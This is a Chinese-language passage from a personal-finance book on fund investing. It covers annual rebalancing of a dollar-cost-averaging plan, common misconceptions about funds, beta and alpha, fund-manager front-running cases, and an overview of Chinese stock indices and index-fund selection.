　　所以，将这几个策略合在一起，你会发现，七步定投策略对后备资金量的要求比较大。在还没有定投出去的时候，“现役部队”可以暂时先放在货币基金中，如果觉得收益率太低，就放在流动性相对较高的网贷产品中。而在最开始分配可定投资金最高比例，也是在为我们的定投储备预备役部队。如果出现好多个市场同时大跌，估值都很低，满地黄金无人拾的这种小概率极端情况时，光靠定投资产内部移山填坑、自我平衡已经不够用了，就需要出动这部分后备役部队来加速“扫荡”这满地黄金。正是由于其建立在多种反复被市场验证的有效策略的基础上，又能够随机应变地调整战略布局，所以七步定投策略才能够获得那么高的潜在收益。

第七步

　　最后一步是，在完成第一年的存量资金定投布局后，继续以年为单位，对家庭财务状况重新进行统计梳理，并设置增量资金定投计划，对应的是调整定投阶段。

　　为什么存量资金定投布局要以一年为周期，现在做增量资金定投计划，还是以一年为周期呢？

　　从需求侧来看，对一个具体的人来说，年是我们生命中最长的计量单位。正所谓“年年岁岁花相似，岁岁年年人不同”。过年是我们一年中最开心的日子，每年年底，我们也都会对这一年的人生进行回顾总结，所以每年对你的家庭财务状况做一次统计，对过去一年的投资得失做一次梳理，是一个比较合适的时间周期。短于一年，比如半年总结一次，感觉太频繁了；长于一年，比如两年才总结一次，间隔又太长了。

　　而从供给侧来看，许多固定收益投资的回报周期都是以年为单位的，大部分人存款都存一年期，银行理财产品也买一年期，定期 P2P 产品也以一年期居多，分级 A 也是一年分配一次约定收益。所以，如果我们要对大类资产进行动态再平衡，把定投账户里的钱移入固定收益投资账户是容易的，但要把固定收益投资账户里的钱移入定投账户，就需要等固定收益产品到期，这时候，以一年为单位动态再平衡一次，在资金调度上就会比较方便。

　　而在设置新一年度的定投计划之前，还是得先把那几步“前戏”重新做一遍。

　　在搞清楚最新的家庭资产状况和收入结余情况后，先检查现金口袋、保险口袋和消费口袋是否还有欠缺，如果有，先把这几个口袋里的钱装好了，随后再统计可以放在储蓄口袋里的钱还有多少。

　　接着就是根据当时的各市场估值情况，确定下一年度你准备把多少比例用于定投，多少比例用于买固定收益产品。

　　然后根据现有的定投情况，重新设定新的定投组合和比例。

　　一般来说，我们的收入和资产会逐年提高，尤其是跟着力哥学完理财以后，你的投资收益会有所提高，你的劳动收入也会随着你年龄和经验的增长而不断提高。所以我们储蓄口袋里的钱也会水涨船高，你肯定会有一部分资金可以用作新一年度的增量定投。这时你需要采用的策略是动态再平衡策略和低估值择时轮动策略。

　　低估值择时轮动，也就是哪个便宜就应该多配置哪个，哪个贵了就应该少配置哪个。但具体怎么操作呢？这就要用到动态再平衡策略。

　　力哥再帮你回顾一下动态再平衡和静态再平衡的区别。简单来说，静态再平衡的比例调整是死的，比如之前 A、B 两只基金设定的比例是 5:5，现在一看，比例变成了 7:3，那就要卖掉 2 份 A，买进 2 份 B，再平衡之后重新回到 5:5；而动态再平衡是活的，去年 A、B 两基金设置的比例是 5:5，现在一看，实际比例变成了 7:3，觉得 A 基金估值太高了，风险太大，应该进一步降低比例，所以调整之后，A、B 比例可以不再回到 5:5，而是变成 4:6 甚至 3:7，这样一来，你的定投组合的风险收益比就进一步优化了。

　　要注意的是，一年一度的动态再平衡其实有两部分：一部分是以定投为代表的权益类资产和固定收益类资产这两大类资产比例的动态再平衡；另一部分是对权益类资产中各个定投标之间比例的动态再平衡。

三个误区

误区一：基金一定要长期投资吗？

　　这是基金公司最喜欢给“小白”灌输的投资理念，说人家巴菲特就是坚持长期投资才赚大钱的。但这话只说对了一半，巴菲特选择了最优秀的股票标的并在最佳时机进场，然后才能通过长期投资赚大钱。他会在金融危机前的疯狂泡沫时高歌进场吗？不会。更何况巴菲特也有看走眼的时候，他发现自己买错了一样会立马走人。虽然力哥一直说基金投资是一辈子的功课，但不代表我们买的每一只基金都必须长期持有。长期投资理念本身没有错，它要传递的核心思想是我们要有足够的耐心，但为了长期投资而长期投资就变成毫无意义的抠字眼了。

　　春天到了要及时播种，秋天到了要及时收割，冬天到了就要保住本金，谨慎投资。投资节奏不能错，如果你选择秋天播种，还坚持长期投资，那非得在冬天冻死不可。当然基金公司希望你一年四季都持有基金，这样他们就能一直赚管理费了。

误区二：买基金时，净值是不是越低越好？

　　在我们的常识里，总觉得便宜的东西更值得下手，基金净值低意味着下跌空间小、上涨空间大，花同样的钱可以买更多份额，但这只是个错觉。一只基金值不值得投资和它的基金净值高低没有半毛钱关系。如果两只基金的投资完全一样，一只净值 1 元的基金涨到 2 元和一只净值 3 元的基金涨到 6 元是同步的，净值低不代表便宜或上涨空间大，净值高也不代表贵或上涨难度大。事实恰恰相反，净值低，只有三种可能：第一种是新基金，不推荐；第二种是本身业绩差，涨不动，不推荐；第三种是老基金，业绩也不错，但通过分红拆分强行把净值降下来做二次营销，这可能会摊薄老基金持有人的利益，同样不推荐。

　　反过来说，净值高的基金必然是业绩优秀也不经常分红拆分的老基金，这种基金难道不是更值得珍惜吗？不过场内基金必须 100 份起卖，如果净值或者说价格太高的话，基金定投的门槛就比较高了，比如 159943 深成指 ETF 的净值现在高达 11 块多，510500 中证 500ETF 的净值也高达 6 块多，这种场内基金一般也不太适合定投。

误区三：是不是分红越多的基金就越好呢？

　　首先，是否分红和基金的好坏没有直接关系。分红的动机主要有两种：一是基金经理觉得股市指数已经太高，于是卖掉一部分股票将收益落袋为安，这钱放在兜里是赚不到钱的，还不如通过分红的方式将这部分收益返还给投资者，这是良性分红；二是担心净值太高，很多“小白”基民“恐高”，所以通过分红来做二次营销，让更多的投资者“买买买”，这就是恶性分红。

　　在潜意识里，听到“分红”二字，人们的第一反应就是天上掉馅饼，不拿白不拿，觉得这是好事。但实际上，基金分红和股票分红不一样。上市公司如果不分红，这钱就永远留在上市公司里，你作为股东就永远分不到实在的收益，只能靠股价上涨获利；而基金本身就是你的资产，无论基金公司分红或者不分红，这钱都是你的，你如果要用钱，随时可以把基金卖了。分红并不会给你增加半毛钱的收益，只不过是把钱从你的左口袋放到了右口袋，还会额外增加一些财务成本。

　　更准确地说，基金分红是一种财务把戏，强制投资者把一部分基金卖了，然后再给出一个所谓红利再投资的选项，让你可以不花手续费就把分红的钱重新买回基金，这不是吃饱了撑的，闲得没事干吗？所以，千万不要以为从不分红的基金就是一毛不拔的铁公鸡，更不要以为经常分红的基金就是良心好基金，分不分红和基金好坏没有必然联系。

摘录

　　公募基金于 20 世纪 90 年代进入中国，其实说起来，才不过 20 多年。1991 年 7 月，中国证券市场上首只基金产品珠信基金被批准设立，当时募集了 6930 万元。此后 6 年里，全国共设立了 75 只基金，实际募集资金 57 亿元，业界称之为“老基金”。然而由于当时投资品种匮乏，管理经营混乱，政府也缺乏金融监管经验，更加没有明确的法律指导，所以老基金后来出现了严重的亏损和弄虚作假的现象。

　　为了改善这个局面，1997 年 11 月国务院公布实施《证券投资基金管理暂行办法》，对基金做了许多明确规定，例如基金怎么设立、通过什么方式和渠道募资、基金由谁管理、钱由谁保管、投资有哪些规定的范围、投资人有哪些权利和义务等，由此开启了“新基金”的时代。随着 1998 年 3 月基金金泰（500001）和基金开元（184688）这两只新基金面世，此后又有多家基金公司获准开张和发行基金产品，老基金统统改造成了新基金，基金规模也从此前的几十亿元快速增长到了几百亿元。这几年是中国封闭式基金最辉煌的时期，但整个行业依然存在各种乱象。

　　2000 年，上海证交所监察部的一位监管人员对基金操作手法进行跟踪调查后，写了一份研究报告，对当时国内 10 家基金公司，也就是今天老基民称为“老十家”的基金公司（包括南方、华夏、嘉实、华安等）旗下的 22 只基金，从 1999 年 8 月到 2000 年 4 月的操作行为进行了详细、客观的记载，结果发现其中存在大量违规、违法操作。2000 年 10 月，著名的《财经》杂志以“基金黑幕”为题将之公布于众，一石激起千层浪，整个股市为之震动，证监会后来的调查也证实了基金黑幕的确存在。

　　开放式基金根据投资对象的不同，可以分为股票型基金、混合型基金、债券型基金和货币市场基金这四大类。

　　顾名思义，把 80% 以上的资金都拿去买股票的叫股票型基金，简称股基。把 80% 以上的资金都拿去买债券的叫债券型基金，简称债基，其中一点股票都不碰的债券基金又叫纯债基金。一部分资金买股票一部分资金买债券，但比例都不超过 80% 的叫混合型基金。在混合型基金中，规定股票占比不得低于 50% 的，叫偏股型基金；债券占比不得低于 50% 的，叫偏债型基金；股票和债券的配比都不能超过 50% 的，叫平衡型基金；对股票和债券占比的上限和下限没有做硬性约定的，叫灵活配置型基金。股票市场和一年期以上的长期债券市场都被称为资本市场，和它对应的是只能交易一年期以下的短期债券和各类票据的货币市场。

　　上面这几类基金都是以股票和债券为主要投资标的、在资本市场里玩耍的小伙伴。如果惧怕资本市场的高风险，不买股票也不买长期债券，而是买货币市场中的各类票据，包括购买短期债券、中央银行票据（央票）、银行汇票、债券回购、银行存款等的基金，就叫货币市场基金，简称货币基金或货基。这四类基金投资风险最高的是股票型基金，混合型基金次之，债券型基金再次之，货币基金最低。

　　当然，在这四类基金门派的基础上，又演化出了许多新的基金品种，比如指数基金、ETF、LOF、分级基金、QDII 基金、REITs 基金、定增基金、量化基金等。乍一看名目繁多，根本分不清谁是谁，但这些花式基金本质上大多可以认祖归宗，归入上述四大类别中。

　　当今世界最知名的三大基金评级机构是晨星（Morningstar）、理柏（Lipper）和惠誉（Fitch）。这些评级机构都是中立的、第三方的，专门为投资者提供相关投资数据和评估建议。在这么多评级机构中，全球投资者公认最权威的是晨星公司（晨星中国的官方网址是 cn.morningstar.com）。

　　第一个概念叫β系数，指的是某一只基金和这只基金的业绩评价基准之间的相关性。这是什么意思呢？之前力哥在讲混合型基金时提到过平行四边形法则，即股票和债券之间有比较明显的负相关性，一个涨了另一个就容易跌；反过来说，同涨同跌的就叫作有正相关性，而一只基金和它的业绩评价基准之间一定是正相关的。

　　为什么每一只基金都要设立一个业绩评价基准呢？就是因为不同基金的风险不一样，我们不能拿余额宝的安全性去要求华夏大盘，也不能拿华夏大盘的潜在收益去要求余额宝。这种 PK 就是“关公战秦琼”，没有意义。所以就需要根据每只基金自身的特性，度身定制一个 KPI（Key Performance Indicator，关键绩效指标），每年考核一次，KPI 达标了，就相当于考试及格了。超过及格线越多，说明你的业绩表现越优秀；反过来，就说明你的业绩表现越糟糕。

　　比如说，货币基金过去的业绩评价基准是活期存款利率，那所有货基当然都能够轻松跑赢，后来就改成了 7 日通知存款利率，这个利息就要比活期利率高一点，但一样也可以轻松跑赢，所以后来一些货基索性拿半年期甚至一年期定期存款利率作为基准；而股票型基金的业绩评价基准一般都是股市大盘的走势；对指数基金来说，你跟踪哪个指数，哪个指数就是你的基准。比如所有沪深 300 指数基金的评价基准就是沪深 300 指数（见图 5.7）。而主动型的股票基金和混合型基金就比较复杂了，比如有的大盘风格的基金的业绩评价基准是 80% 的沪深 300 指数加 20% 的上证国债指数，有的医药行业类基金的业绩评价基准是 80% 的中证医药卫生指数加 20% 的中证国债指数，每只基金都不一样。这些信息同样可以在天天基金网基金档案中的基本概况里找到。

　　

　　图 5.7 基金业绩比较基准（来源：天天基金网）

　　假如β系数正好是 1，说明基金的真实业绩表现和业绩比较基准重合，你涨 10%，我也涨 10%；你跌 10%，我也跌 10%。如果β系数是 0.9，说明基金业绩没有业绩比较基准的波动那么大，你涨 10%，我只涨 9%；你跌 10%，我也只跌 9%。如果β系数是 1.5，就意味着你涨 10%，我涨 15%；你跌 10%，我跌 15%。这很好理解吧？

　　在前面力哥说到过马科维茨的资产组合理论，投资的风险分为两种：一种叫系统性风险，在股市里叫大盘风险；一种叫非系统性风险或个别风险，在股市里叫个股风险。β系数就是对一只基金所承受的系统性风险的量化表达。通俗地说，就是这只基金的收益弹性有多大，β系数越高，市场一波动，基金的涨跌就越凶猛，涨的时候赚得多，跌的时候也亏得猛。一般来说，一只股票或基金的β系数在 0.5～1.5。

　　那我们挑选基金时，高β的还是低β的更好？这就需要看你的投资风格和策略了。

　　股市中有一种策略叫高β策略或者叫高波策略，专门挑选β系数比较高的股票去投资，这种策略比较适合激进型投资者和大牛市的环境，力哥在后面基金定投的章节会再详细进行讲解，想让你的基金定投获得比普通定投更高的收益，就应该选择高β的基金。

　　股市里还有一种策略叫低β策略或者叫低波策略，波动小意味着投资比较稳健，更适合稳健型投资者，在熊市中，低β的基金也要比高β的基金更扛跌。

　　说完β系数，再来说α系数，它代表的是一只基金的绝对回报或者叫超额收益。一只基金的真实收益减去同时期的市场无风险收益，就是这只基金的风险收益。β系数算出的是这只基金要承担的系统性风险，这个是板上钉钉、没有任何讨价还价余地的，要高回报，就必须承担相应的高风险。但有些基金就是能在总体风险比较低的情况下，获得相对比较高的总体回报，也就是它的性价比很高，它获得的风险定价之外的超额收益就是α系数。

　　比如说一只β系数为 1.2 的股票型基金，如果去年业绩比较基准也就是大盘涨了 10%，按道理说，这只基金获得的市场平均风险收益应该是 12%，因为如果去年大盘跌了 10%，它也要相应下跌 12%，这很公平，但实际上这只基金去年却涨了 15%，多出来的 3% 就是超额收益，也就是说其α系数是 3%；反过来，如果这只基金去年只涨了 9%，比预期回报低了 3%，说明它产生了超额损失，α系数是-3%。

　　一只基金的真实收益就是由承担系统性风险的β系数加上承担单只基金个别风险的α收益得到的。α收益就是靠基金经理择时或其选股的高超水平获得的。α系数越高，就说明基金经理越牛，越能战胜市场。

　　α系数和β系数都来自资本资产定价模型（Capital Asset Pricing Model，CAPM）这套理论，该理论是由威廉·夏普等几位经济学家在马科维茨的资产组合理论基础上，于 1964 年创立的。CAPM 理论也和资产组合理论一样，是今天投资理财市场中被最广泛应用的核心理论。

　　当然，这些理论很复杂，力哥在此只是介绍了一些基础知识，我们普通投资者也只需要了解这些基础知识。

　　“公募一哥”王亚伟为什么会离开华夏基金自己开私募基金呢？因为在公募基金当基金经理赚钱远不如自己开私募基金来得快。

　　所以过去这些年，公募基金行业存在严重的人才流失现象：一流的基金经理大多不满足于公募基金开出的百万年薪，都转行去做私募基金了，一年赚个几千万元司空见惯；而那些水平一般，知道自己出去单干很可能还不如在公募基金里混日子的二三流基金经理，往往更倾向于长期留在这里。这就是经济学上所说的“劣币驱逐良币”现象。

　　为了让大家更生动地理解基金经理都是怎么做“老鼠仓”的，举两个例子说明一下。

　　第一个例子的主人公叫郑拓。这人在 2007 年加盟交银施罗德后一直担任交银稳健基金的基金经理，这只基金当时还获得了晨星两年期和三年期 5 星基金评级。

　　2008 年，郑拓和老婆协议离婚，第二年就开始用他老婆的妹妹和嫂子的账户做“老鼠仓”。他十分狡猾，先用假离婚来撇清两人的亲属和财务关系，再用老婆娘家人的账户来做“老鼠仓”。

　　最后证监会查出来，郑拓靠“老鼠仓”赚了 1200 多万元，他最终被判处有期徒刑 3 年，他老婆和他小姨子作为从犯也一起被判刑了。

　　第二个人叫马乐。在 2011-2013 年担任博时精选基金经理期间，马乐大搞老鼠仓，成交金额达 10 亿多元，获利近亿元。而他玩“老鼠仓”的技巧比郑拓更高超。

　　马乐当时买了十几张不记名的手机 SIM 卡，用电话下单，每隔几个月就把电话卡扔掉，而且他操作的股票账户完全和自己没有一点关系，可能是某个山沟沟里的老农为了赚 10 元钱，就把身份证借给他开户了。而且马乐和别人签署合作合同用的也是假名。为了不留下蛛丝马迹，他平时连 QQ 甚至微信都不用。

　　而最后东窗事发不是因为证监会侦查水平高，而是因为博时基金的公司内斗中他站错队了，得罪人了，被公司内部的人给检举揭发了。

　　最搞笑的是，“马乐案”当时是中国有史以来“老鼠仓”交易金额最大、获利最多的一起案件，深圳市中院的一审判决居然是“判三缓五”。深圳市检察院认为判得太轻了，向广东省高级人民法院提出抗诉，结果二审驳回抗诉，维持原判。结果广东省检察院也不认可，提请最高人民检察院抗诉，最后，最高人民检察院向最高人民法院提起抗诉。要知道，这是改革开放以来，最高人民检察院第一次在经济犯罪领域向最高人民法院提起抗诉。最后，最高人民法院院终审判处马乐有期徒刑三年。

国内指数面面观：全市场综合指数

　　国内最有名的自然是上证指数，我们常听见的“股市涨到 5000 点”“大盘跌破 3000 点”说的就是这个上证指数，也叫上证综指，它衡量的是在上海证券交易所挂牌上市的全部股票的价格，也就是上交所这个大班级里，全体同学的总体水平。

　　不过中国股市并不只有一个交易所，上海有一个交易所，深圳也有一个交易所。由于当年创立这两个交易所时的定位是将上交所作为主板市场，作为老大哥，重要的大型公司，尤其是国有企业都在上海上市；而民营企业，尤其是规模比较小的就去深交所上市。这导致了直到今天，上交所上市股票的市值还是远远大于深交所，所以股民们还是习惯把上证指数作为股市大盘涨跌的最重要的指标。

　　当然，有上证综指自然就有深证综指，它衡量的就是在深圳交易所这个大班级里同学们的总体水平。

　　但是这两个指数作为指数基金的投资标的并不合适，因为它们有两个非常明显的缺点。

　　一是它们都以股票的总市值为标准进行加权平均。这是什么意思呢？这就要说到平均数这个概念的两种算法。一种最常见的叫算术平均数，比如一个班级有 50 个学生，把所有人的成绩全部加起来除以 50，得出来的数字就是算术平均数。但在股市中，因为每只股票的发行量或者股本是不一样的，有些小盘股只需要发行 5000 万股就够了，有些超级大盘股可能要发行 50 亿股，从股价上看，可能两只股票价格都是 10 元，但总市值却差了近 100 倍。为了把这个因素考虑进去，让发行量更大的股票在指数中占有更大的权重，就需要对这个平均数进行加权处理，这就叫加权平均数。比如 2007 年巨无霸中国石油上市后，这一只股票就占了上证指数 25% 的权重。也就是说，中国石油拉一个涨停，上证指数就能大涨 2.5%，所以中国石油每天的走势图和上证指数的走势图基本是吻合的。这种指数编制方法虽然考虑到了大盘股和小盘股的权重差异问题，但也可能由人为造成指数失真。

　　在 2015 年的股灾中，政府是怎么救市的呢？很简单，大举买入大盘蓝筹股，因为这些股票的规模大，权重高，能迅速把上证指数给托起来。你会发现，上证指数乍一看没有下跌，但却是靠中国石油等少数大盘蓝筹股大幅上涨给撑起来的，而市场中超过 90% 的中小盘股票都跌得稀里哗啦，这就叫指数失真，俗称“只赚指数不赚钱”，这显然不是我们投资指数基金希望看到的结果。

　　另一个原因是这类综合指数是为了展示整个市场的总体水平，好的坏的全放进来。可我们买基金不能挑到篮里就是菜，明明这把菜里有几棵菜已经烂了，何必要把烂了的也买回来呢？所以这类全市场的综合指数并不适合做指数基金的参考。

国内指数面面观：开小灶的成分指数

　　学校为了让整体成绩更好看，往往到了初三、高三这种冲刺阶段会搞阶层分化，把优等生选拔出来，组成一个提高班，这个提高班里的学生比起上证指数这种普通班的学生来说，整体水平就高得多，更适合作为我们指数基金的投资参考，这种把优等生选拔出来组成的提高班就是成分指数。

　　要注意的是，成分指数在计算各个股票权重时，一般只考虑流通股，不考虑非流通股。这又是什么意思呢？

　　这就要说到中国股市的发展史了。1990 年，中国股市在建立以后的很长一段时间内，主要目的不是让普通老百姓获得财产性收入，也就是说不是为老百姓的投资理财服务的，而是为了给深陷改革泥潭的国企融资，帮国企脱困，这种出发点就导致了中国股市先天畸形。把发行上市的股票分为可以流通买卖的社会公众股和不能流通买卖的国有股和法人股，这叫作股权分置。前者是我们这些散户可以买卖的，但占比很小；后者占比很大，但不许买卖，只许装在国家的口袋里。这么一大块不能买卖的股票对股市涨跌其实没有影响，但它们却在上证指数中占据了极大的比例。那这个指数可不就失真、畸形了吗？

　　所以后来编制成分指数的时候考虑到了这个问题，只计算流通股而剔除了非流通股，这样指数涨跌才能更真实地反映市场走势。

　　所谓股改，就是那些持有国有股和法人股的大股东，想让自己手里的股票也能流通起来，也就是卖掉它们，但这么多股票如果都允许被卖掉，市场就会供大于求，会对股价造成打压，伤害那些流通股的股东，也就是我们这些小股民的利益，那怎么办呢？大股东就和小股东商量，说我按比例送你一点股票，来弥补我的股票可以流通以后，可能对你的利益造成的潜在损失。

　　你拿了我的好处，就允许我的股票也流通吧，这就叫作支付对价。但就算支付了对价，这么多股票也不能一口气全流通起来，所以就设置了一个漫长的非流通股解禁周期，持股超过总股本 5% 的叫大非流通股股东，简称大非，低于 5% 的叫小非流通股股东，简称小非，合起来就叫作“大小非解禁”。

　　12 年后的今天，当年的大小非都解禁得差不多了，中国股市已经进入了全流通时代。

深交所成分指数：深成指和深证 100 指数

　　深交所发布的最著名的成分指数就是深证成分股指数，简称深证成指，进一步简称深成指。

　　这个指数相当重要，我们听股市新闻的时候，往往都会听到，今天上证指数报收××点，深成指报收××点。为什么这里报深成指，而不是报深证综指呢？因为深交所当初的定位就是发行中小盘股票，但和大盘股相比，中小盘股票里面“差生”太多了，深交所自己都觉得报深证综指太没面子了，所以深成指就成了代表深证市场最重要的指数。

　　最开始深成指只选了 40 个成分股，包括美的、格力、万科 A、五粮液、云南白药等知名企业。随着在深交所上市的公司越来越多，这 40 个股票已经不能代表深证市场的整体水平，于是 2015 年 5 月 20 日，深成指修订了指数编制方法，将成分股从过去的 40 只扩大到了 500 只。当年的深成指还是一个大盘风格的指数，而今天的深成指已经变成了集合了大中小盘股，但整体风格偏小盘的指数了。

　　除了深成指，深证市场中还有一个很有名的成分指数叫深证 100 指数，由深证市场里 100 个流通市值最大、成交最活跃的股票组成。在深成指没有扩容前，深成指的 40 个成分股都包含在深证 100 指数里，所以这两个指数的走势高度重合。但如今情况不同了，深成指主要代表深证的中小盘，深证 100 指数依然代表着深证的大盘股。

上交所成分指数：上证 50 指数和上证 180 指数

　　上交所也有自己的成分指数，最有名的是上证 50 指数和上证 180 指数。

　　这两个指数都是大盘指数。成分股入围标准里最重要的一条就是市值排名要靠前，所以别看这两个指数的成分股数量不多，但对市场整体的影响却非常大。其中上证 180 指数是最能代表上交所核心优质上市公司的指数，它的流通市值占整个上交所流通市值的一半左右，而且行业分布相对比较均衡。

　　把挑选范围再缩小一点，只挑上交所里市值最大的 50 只股票，它们就形成了上证 50 指数。如果说上证 180 指数中除了大盘蓝筹股外还有一些二线蓝筹股的话，那上证 50 指数里清一色全是大盘蓝筹股，所以也被称为蓝筹中的蓝筹股。

　　和其他常规的成分指数一样，上证 50 指数的成分股也是每半年更新一次，每次更新都会把业绩不达标的股票剔除，再把达标的选进来。这就像提高班里的末位淘汰制一样，防止一次摸底考后成绩优秀者进了提高班后就开始不思进取了。假如全年级一共有 300 个学生，只有 50 个能进提高班，下次考试时设置 10 名左右的缓冲区，如果你的成绩跌到 50～60 名，就给你发警告；跌到 60 名开外，就直接把你踢出提高班。同时，普通班里的尖子生如果考到全年级前 40 名，也可以直接进提高班。

　　在 2017 年 5 月最新发布的上证 50 指数成分股中，有高达 26 只金融股，另外还有中国石油、中国石化、中国神华这些能源类的巨无霸央企。所以买上证 50，实际上就是在买金融股加“两桶油”，尤其是金融股。如果金融股集体暴涨，上证 50 指数也会暴涨；上证 50 指数暴跌，金融股肯定也在集体暴跌。

打通”任督二脉“的中证指数

　　那有没有打通上交所和深交所的股票池来挑选成分股的指数呢？

　　有。

　　2005 年，沪深两家交易所终于摒弃前嫌，共同出资成立了中证指数有限公司，专门从事指数开发，现在市面上比较流行的指数基本上都是由它开发的。

　　中证公司成立后推出的第一个指数就是大名鼎鼎的沪深 300 指数，它也是中国第一个跨越沪深两市的指数。和之前那些指数相比，沪深 300 指数所选取的 300 只股票占据了沪深两市 6 成左右的市值，它能比上证指数更全面更真实地反映出 A 股市场的整体走势。由于沪深 300 指数的成分股大致上就是上证 180 指数和深证 100 指数的成分股的叠加，所以沪深 300 指数也属于大中盘股指数。

　　那你可能会问了，有没有最具代表性的小盘股指数呢？

　　有，那就是中证 500 指数。

　　中证 500 指数的选股标准很有意思。首先，它把沪深 300 指数的所有成分股排除，这样就保证了它和沪深 300 指数完全无关；然后再把剩下的股票里市值排名前 300 名的股票剔除，这样就能基本保证所有大中盘股都被排除在外了；接着按照日均成交额由高到低排名，把交易最不活跃的 20% 剔除；最后留下的股票按市值由高到低排列，选出排名前 500 位的股票。

　　经过这四步后筛选出来的 500 只股票，可以说都是小盘股中的精华，正好和沪深 300 指数所选出的大盘股中的精华形成了完美的风险对冲。大盘股发力的时候，沪深 300 指数会大涨；小盘股发力的时候，中证 500 指数就会大涨。所以，如果我们买一点沪深 300 指数基金，再买点中证 500 指数基金，就可以完美覆盖沪深股市几乎所有的板块和优质股票了。

　　除了沪深 300 指数和中证 500 指数，中证公司还开发了大盘、中盘、小盘、大中盘、中小盘、大中小盘等一个规模庞大的指数体系，比如跟踪大盘股走势的中证 100 指数和跟踪中盘股走势的中证 200 指数，合起来正好组成了沪深 300 指数；而跟踪小盘股走势的中证 500 指数和跟踪中盘股走势的中证 200 指数合起来，就形成了跟踪中小盘股走势的中证 700 指数；再把中证 100 指数加进去，就成了跟踪大中小盘整体走势的中证 800 指数；别急，还没完，把中证 800 指数的成分股剔除掉，剩下的规模偏小但流动性很好的 1000 只股票又构成了中证 1000 指数，它的成分股平均市值甚至比中小板指数和创业板指数还要小，能比中证 500 指数更敏锐地反映小市值股票的整体状况，能和沪深 300 指数以及中证 500 指数形成更全面的互补。

摸着石头过河：中小板和创业板

　　在沪深主板市场以外，深证市场下面还有两个独立的子板块，就是我刚刚说的中小板和创业板。你可能会觉得纳闷，因为我说过，深证市场当年创立时的定位就是中国股市的中小板，怎么现在下面又出现了一个中小板呢？

　　这就要说两句中国股市的发展史了。1949 年以后，股票市场就从中国消失了，直到 1990 年才重新出现，由于当时政府经验不足，还牵涉“姓资姓社”的争议，所以中国股市的发展真的是摸着石头过河，走一步看一步。于是就有了中国特色的 AB 股制度，A 股给国内投资者用人民币买卖，B 股给老外用美元或港币买卖，虽然后来 B 股也对国内投资者开放了，但随着中国对外开放的全面深入，B 股最后还是无可奈何地成了鸡肋。先创办了上交所，又创办了深交所也是一个道理，最开始大家都不懂，边做边修正。

　　到了 20 世纪 90 年代后期，IT 革命浪潮引发了美国纳斯达克科技股的持续暴涨，而成立于 1971 年的纳斯达克是独立于美国主板市场的，也就是独立于有 200 多年历史的纽约证券交易所之外的专门为小企业提供上市融资服务的市场，所以纳斯达克也可以被视为美国股市的创业板。

　　中国的监管层当时看到纳斯达克的蓬勃发展也很心动，觉得我们也应该有自己的创业板。可惜计划赶不上变化，在中国的创业板筹划就快完成的时候，美国科技股泡沫破灭，对美国乃至全球经济都造成了重大打击。于是打造中国版纳斯达克的雄伟计划只能搁置，但之前的准备工作都已经完成了，一直拖着也不是办法。所以 2004 年，深交所决定先搞一个中小板试水。直到 5 年后的 2009 年，创业板才真正诞生。

　　这两个板块的股票是所有 A 股上市公司中估值最高的，虽然不乏黑马股，但烂股票挖的坑更多。跟踪这两个市场整体走势的中小板指数和创业板指数的波动也非常剧烈，尤其是后者。2010 年，创业板指数发布时的基点是 1000 点，两年间一路跌到 500 多点，几乎被腰斩，但紧接着 2013 年又疯狂涨到 1500 多点，一年增加了近 2 倍。而到了 2015 年的大牛市时，创业板指数更是一路飙到 4000 点。所以，如果不是心理承受能力很强的激进型投资者，不要轻易碰创业板。

场上的其他指数

　　除了上证系列、深证系列和中证系列指数，其实市场上还有一些次要的指数。

　　比如说，深交所还开发过国证系列指数和巨潮系列指数，其中最有名的是巨潮 100 指数。另外，申万宏源证券公司也开发过一系列指数，名字都叫申万××指数。当然，国外的指数公司也先后进入了中国市场，比如摩根士丹利资本国际公司，英文缩写为 MSCI，编制了中国系列指数；比如英国富时集团编制了富时中国系列指数，其中最有名的是富时中国 A50 指数；再比如道琼斯公司编制了道琼斯中国系列指数，其中最有名的是道琼斯中国 88 指数；还有标准普尔公司开发的标普中国系列指数，其中最有名的是标普中国 500 指数。

　　这四家公司就是当今世界的四大指数公司。

五花八门的奇葩指数

　　除了力哥前面介绍的这些根据成分股的市值大小来做划分的规模指数，市场上实际上还存在着各种各样的奇葩指数，大体可以分成以下三类：

　　第一类叫行业指数。顾名思义，这个指数里的所有股票都是同一个行业的，比如金融指数、地产指数、医药指数、军工指数等。有时这些大的行业还可以进一步细分，比如金融可以再细分为银行指数、券商指数、科技金融指数等；医药可以进一步细分为生物医药指数、医疗器械指数、中药指数等。还有把几个相关度很高的行业打包在一起的指数，比如 TMT 行业，就是科技、媒体、通信这三个行业的总称。

　　不同的基金经理可能会对不同的行业或主题有不同的投资偏好，对被动型的指数基金也一样。只不过我们不需要基金经理来帮我们选择他看好的行业股票，我们自己看好什么行业，直接买这个行业的指数基金就可以了。

　　第二类叫风格指数。还记得晨星投资风格箱吗？就是那个九宫格。它形成了 9 种不同风格的指数基金，不同指数关注不同股。比如中小板 300 成长指数，就只关注小盘成长股，上证 180 价值指数就只关注大盘价值股。

　　第三类叫主题指数，它就五花八门了。比如说上证龙头企业指数，就是把各行业中的龙头股挑出来；上证红利指数就是把分红特别多的股票挑出来；上证 180 公司治理指数，就是从上证 180 指数的成分股中，把公司治理得特别棒的股票挑出来；上证社会责任指数，就是把那些社会责任履行得比较好的股票挑出来。另外，这两年股市里“一带一路”概念股不是很火吗？于是就有了新丝路指数。不是都说中国已经进入老龄化社会，未来养老的市场需求特别旺盛吗？于是就有了养老指数。不是都说中国要进一步挖掘改革红利吗？于是就有了国企改革指数。不是都说人工智能未来会取代人类吗？于是就有了人工智能指数。

　　这么多令人眼花缭乱的指数，如果想搞清楚它们的来龙去脉、编制方法、历史走势和成分股名单，我们要到哪里去查呢？

　　很简单，如果上交所发布的指数，就去上交所官网查，网址是 www.sse.com.cn；深交所发布的指数就去深交所官网查，网址是 www.szse.cn；中证公司开发的指数也去中证公司的官网查，网址是 www.csindex.com.cn。

优秀指数基金的“第一印象”

　　什么样的指数基金才算得上是优秀的指数基金呢？

　　指数基金的原理就是让基金业绩尽可能复制指数的走势。所以一个指数基金是否优秀，最重要的考量标准不是看它业绩好不好，而是看它对指数的跟踪误差大不大。跟踪误差越小，指数基金越优秀；反之，就越糟糕。比如中国现在有好几十只跟踪沪深 300 的指数基金，该选哪个呢？最重要的挑选原则就是挑选跟踪误差最小的那个。

　　哪里可以查到指数基金的跟踪误差呢？还是可以借助天天基金网（见图 8.1），所有的指数基金都会写明它的跟踪标的指数和跟踪误差，一般指数基金的日跟踪误差都在 0.5% 以内，优秀的基金可以把误差缩小到 0.1% 甚至 0.05%

　　

